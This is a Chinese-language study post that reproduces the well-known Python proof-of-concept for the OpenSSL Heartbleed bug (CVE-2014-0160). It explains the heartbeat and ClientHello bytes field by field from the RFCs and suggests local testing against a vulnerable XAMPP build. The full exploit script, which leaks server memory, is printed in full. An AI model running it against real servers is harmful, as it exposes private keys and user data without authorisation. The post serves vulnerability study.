Openssl 漏洞POC学习

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关于漏洞的细节以及相关危害可以参考知乎和乌云上的文章

OpenSSL 的 Heartbleed 漏洞的影响到底有多大？

关于OpenSSL“心脏出血”漏洞的分析

漏洞相关的代码就不分析了，上面的文章已经分析的很清楚了，下面主要分析一下网络上流传甚广的python POC文件。

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)# The author disclaims copyright to this source code.import sysimport structimport socketimport timeimport selectimport refrom optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):    return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin('''16 03 02 00  dc 01 00 00 d8 03 02 5343 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cfbd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 0000 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 8800 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1cc0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0cc0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 1100 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 0403 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 1900 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 0800 06 00 07 00 14 00 15  00 04 00 05 00 12 00 1300 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 0000 0f 00 01 01                                  ''')hb = h2bin(''' 18 03 02 00 0301 40 00''')def hexdump(s):    for b in xrange(0, len(s), 16):        lin = [c for c in s[b : b + 16]]        hxdat = ' '.join('%02X' % ord(c) for c in lin)        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)        print '  %04x: %-48s %s' % (b, hxdat, pdat)    printdef recvall(s, length, timeout=5):    endtime = time.time() + timeout    rdata = ''    remain = length    while remain > 0:        rtime = endtime - time.time()         if rtime < 0:            return None        r, w, e = select.select([s], [], [], 5)        if s in r:            data = s.recv(remain)            # EOF?            if not data:                return None            rdata += data            remain -= len(data)    return rdata        def recvmsg(s):    hdr = recvall(s, 5)    if hdr is None:        print 'Unexpected EOF receiving record header - server closed connection'        return None, None, None    typ, ver, ln = struct.unpack('>BHH', hdr)    pay = recvall(s, ln, 10)    if pay is None:        print 'Unexpected EOF receiving record payload - server closed connection'        return None, None, None    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))    return typ, ver, paydef hit_hb(s):    s.send(hb)    while True:        typ, ver, pay = recvmsg(s)        if typ is None:            print 'No heartbeat response received, server likely not vulnerable'            return False        if typ == 24:            print 'Received heartbeat response:'            hexdump(pay)            if len(pay) > 3:                print 'WARNING: server returned more data than it should - server is vulnerable!'            else:                print 'Server processed malformed heartbeat, but did not return any extra data.'            return True        if typ == 21:            print 'Received alert:'            hexdump(pay)            print 'Server returned error, likely not vulnerable'            return Falsedef main():    opts, args = options.parse_args()    if len(args) < 1:        options.print_help()        return    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    print 'Connecting...'    sys.stdout.flush()    s.connect((args[0], opts.port))    print 'Sending Client Hello...'    sys.stdout.flush()    s.send(hello)    print 'Waiting for Server Hello...'    sys.stdout.flush()    while True:        typ, ver, pay = recvmsg(s)        if typ == None:            print 'Server closed connection without sending Server Hello.'            return        # Look for server hello done message.        if typ == 22 and ord(pay[0]) == 0x0E:            break    print 'Sending heartbeat request...'    sys.stdout.flush()    s.send(hb)    hit_hb(s)if __name__ == '__main__':    main()

上面比较重要和难以理解的是hello和hb两个字符串的意思到底是什么。

首先看hb这个字符串的几个字节是什么意思，通过阅读RFC6520我们可以得到heartbeat的数据结构：

The Heartbeat protocol messages consist of their type and an arbitrary payload and padding.

enum {
heartbeat_request(1),
heartbeat_response(2),
(255)
} HeartbeatMessageType;

struct {
HeartbeatMessageType type;
uint16 payload_length;
opaque payload[HeartbeatMessage.payload_length];
opaque padding[padding_length];
} HeartbeatMessage;

这个数据结构的总长度不能超过2的14次方。

type: 消息类型， heartbeat_request 或者 heartbeat_response中的一个，不是0x01就是0x02，1byte。

payload_length: payload的长度, 2个bytes。

payload：内容是任意的东西，接收端收到之后必须忽略掉里面的具体内容，如果接收端响应这个request，那么需要将里面的内容原封不动拷贝回发送端。

padding: 也是一些随即的乱起八糟的内容，必须被接收端忽略掉。

padding_length: TLSPlaintext.length - payload_length - 3 for TLS 或者 DTLSPlaintext.length - payload_length - 3 for DTLS. 至少是16bytes.

在这个RFC6520中有下面一句话，IANA has assigned the heartbeat content type (24) from the "TLS ContentType Registry" as specified in [RFC5246]

意思就是说IANA这个组织把heartbeat content type的编号定为了24

我们去RFC5246中查找TLSPlaintext结构的定义。

RFC5246附录A中开头的定义如下：

struct {
uint8 major;
uint8 minor;
} ProtocolVersion;

ProtocolVersion version = { 3, 3 }; /* TLS v1.2*/

enum {
change_cipher_spec(20), alert(21), handshake(22),
application_data(23), (255)
} ContentType;

struct {
ContentType type;
ProtocolVersion version;
uint16 length;
opaque fragment[TLSPlaintext.length];
} TLSPlaintext;

type:1个byte，这里应该是heartbeat，24, 0x18

version:2个bytes

length：2个bytes

fragment: 具体的extension的message.

上面这一系列数据结构翻译成用c语言的数据结构就是：

struct {

ContentType type; //1byte
ProtocolVersion version; //2bytes
uint16 length; //2bytes

HeartbeatMessageType type; //1bytes
uint16 payload_length; //2bytes
char payload[payload_length];
char padding[padding_length];

}HeartBeatPlainText;

这样我们就可以对应的看出来hb到底是什么意思了：

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

18表示heartbeat type

03 02表示TLS的版本号，这里表示TLS v1.1

00 03表示heartbeatmessage的长度，也就是TLSplaintext的payload的长度

01表示heartbeat_request

40 00 表示payload length, 2**14

其中payload和padding都没有，这样正好就可以利用漏洞将后面内存中的数据dump出来了。

OK, 现在hb已经清楚了。

hello有225bytes, 具体的每个域的意思可以参考RFC 5246 7.4.1

https://tools.ietf.org/html/rfc5246#section-7.4.1

最好通过wireshark抓https的包来看client hello的解析。一目了然。

另外：通过在自己机器上测试发现XAMPP for Linux 1.8.3-3用的就是有漏洞的版本的openssl, 可以用这个脚本来进行测试，抓包。

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